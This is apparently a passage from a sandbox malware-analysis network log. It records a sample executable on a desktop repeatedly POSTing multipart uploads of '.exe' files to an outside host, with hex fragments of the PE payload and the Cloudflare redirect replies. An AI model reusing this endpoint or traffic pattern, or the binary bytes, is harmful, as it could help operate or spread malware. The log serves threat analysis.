Oct 10, 2024 21:01:32.299994946 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:32.601511955 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:32 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:32 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y8Yt756MPEuE2o35VrVEVxpskaezBKgiuHDbsGxeUD5hpNEUKySgROK7lkkUiqUqq1it7WGHnpj79hsUibJcYJ%2FADjDzmmy5nL7xfy9DFtCagLSz9FhTwRmgP5Ajc4wqkCtXSwDfvET%2FFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc0caa768c75-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:32.762095928 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------90b615ecd0519329
Oct 10, 2024 21:01:33.463150024 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:33.464350939 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:33.465336084 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 30 62 36 31 35 65 63 64 30 35 31 39 33 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------90b615ecd0519329Content-Disposition: form-data; name="file[]"; filename="rifaien2-BxQHxwmcvdOeGoyr.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:33.465595007 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:33.470611095 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:33.470814943 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:33.470814943 CEST	9888	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:33.470886946 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:33.473733902 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:33.473968983 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:33.475658894 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:33.475784063 CEST	4944	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:01:33.772214890 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:33 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:33 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RR3PRrDsBEtuMAXkkgm%2BE0FGLVCIXe5ndLDc1mmo%2B8FgorpicEhukRL6irbxDLTiG1OQv5qUznHzwdXuy6zvDOYhsZjRYvyFbpW9cZWTpItDUJ9obD74SiLqkPR1QQSFZ32f4QFkYrbewQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc12682d439d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:33.921700954 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------ed24a01c41b78c95
Oct 10, 2024 21:01:34.365716934 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:34.367060900 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 64 32 34 61 30 31 63 34 31 62 37 38 63 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------ed24a01c41b78c95Content-Disposition: form-data; name="file[]"; filename="rifaien2-YmUvcvAsSxinM0iL.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:34.367168903 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:34.372268915 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:34.372353077 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:34.372374058 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:34.372428894 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:34.372448921 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:34.372500896 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:34.372529030 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:34.372581959 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:34.670078039 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:34 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:34 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cM6CJnABZmACR1EmqG%2FTnFplaT2DY5Mxo3zkMCpL%2F38bpadQPeG0E8cUMfb2lzrg1JAS0y2llhRA8mp8RCTbQC7FJNOT7BOGrRAFbE1Q2HzJd2lJVMiudlsiZrCnRb3xBnsmlDuQPPfB6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc199c138ce6-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:34.810476065 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------02423f29208d8a6a
Oct 10, 2024 21:01:35.277880907 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:35.278640032 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 32 34 32 33 66 32 39 32 30 38 64 38 61 36 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------02423f29208d8a6aContent-Disposition: form-data; name="file[]"; filename="rifaien2-SKNw52t2NOdB7utQ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:35.279124975 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:35.284101963 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:35.284126043 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:35.284159899 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:35.284203053 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:35.284251928 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:35.284307957 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:35.284482956 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:35.284718990 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:35.596015930 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:35 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bvp8ntyyWs0DdRDlROCPEm%2FZo6gw%2BBDA8LQ%2BiXa3eqo7EgQG1Thrw3j4VtYPym58mGQky2rcCra0fXAOiXVs0aLEIGr5r6m3vvxc2DXAYHf%2B17qoiJnW6I%2F%2B5uU61DJCIPoKNi59L7NzIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc1f4cb717f9-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:35.940040112 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------b790d8cd4253e432
Oct 10, 2024 21:01:36.393666983 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:36.396358967 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 37 39 30 64 38 63 64 34 32 35 33 65 34 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------b790d8cd4253e432Content-Disposition: form-data; name="file[]"; filename="rifaien2-HGWO8ZYntiaZkSsz.exe"Content-Type: application/octet-stream
